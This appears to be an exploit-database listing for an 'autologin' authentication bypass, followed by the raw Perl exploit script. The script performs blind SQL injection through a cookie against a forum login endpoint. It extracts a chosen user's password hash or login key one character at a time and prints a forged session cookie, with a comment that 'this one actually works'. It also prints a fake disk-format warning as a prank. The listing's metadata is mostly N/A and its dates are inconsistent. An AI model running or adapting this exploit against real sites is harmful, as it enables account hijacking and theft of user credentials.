Exploit for Autologin Vulnerability

vendor:

N/A

by:

Tony Little Lately and Petey Beege

7,5

CVSS

HIGH

Authentication Bypass

287

CWE

Product Name: N/A

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2020

Exploit for Autologin Vulnerability

This exploit allows an attacker to bypass authentication and gain access to a user account without knowing the user's password. The exploit works by sending a specially crafted cookie to the server, which contains a malicious SQL query that will return the user's password. The attacker can then use the cookie to gain access to the user's account.

Mitigation:

Ensure that authentication credentials are properly validated and that malicious SQL queries are not allowed.

Source

Exploit-DB raw data:

#!/usr/bin/perl -w
##################################################################
# This one actually works :) Just paste the outputted cookie into
# your request header using livehttpheaders or something and you
# will probably be logged in as that user. No need to decrypt it!
# Exploit coded by "Tony Little Lately" and "Petey Beege"
##################################################################

use LWP::UserAgent;

   $ua = new LWP::UserAgent;
   $ua->agent("Mosiac 1.0" . $ua->agent);

if (!$ARGV[0]) {$ARGV[0] = '';}
if (!$ARGV[3]) {$ARGV[3] = '';}

my $path = $ARGV[0] . '/index.php?act=Login&CODE=autologin';
my $user = $ARGV[1];   # userid to jack
my $iver = $ARGV[2];   # version 1 or 2
my $cpre = $ARGV[3];   # cookie prefix
my $dbug = $ARGV[4];   # debug?

if (!$ARGV[2])
{
        print "The type of the file system is NTFS.\n\n";
        print "WARNING, ALL DATA ON NON-REMOVABLE DISK\n";
        print "DRIVE C: WILL BE LOST!\n";
        print "Proceed with Format (Y/N)?\n";
        exit;
}

my @charset = ("0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f");

my $outputs = '';

for( $i=1; $i < 33; $i++ )
{
        for( $j=0; $j < 16; $j++ )
        {
                my $current = $charset[$j];
            my $sql = ( $iver < 2 ) ?  "99%2527+OR+(id%3d$user+AND+MID(password,$i,1)%3d%2527$current%2527)/*" :
"99%2527+OR+(id%3d$user+AND+MID(member_login_key,$i,1)%3d%2527$current%2527)/*";
                my @cookie = ('Cookie' => $cpre . "member_id=31337420; " . $cpre . "pass_hash=" . $sql);
                my $res = $ua->get($path, @cookie);

                # If we get a valid sql request then this
                # does not appear anywhere in the sources
                $pattern = '<title>(.*)Log In(.*)</title>';

                $_ = $res->content;

                if ($dbug) { print };

                if ( !(/$pattern/) )
                {
                        $outputs .= $current;
                        print "$current\n";
                    last;
                }

        }
  if ( length($outputs) < 1 )   { print "Not Exploitable!\n"; exit;     }
}
print "Cookie: " . $cpre . "member_id=" . $user . ";" . $cpre . "pass_hash=" . $outputs;
exit;

# milw0rm.com [2005-05-26]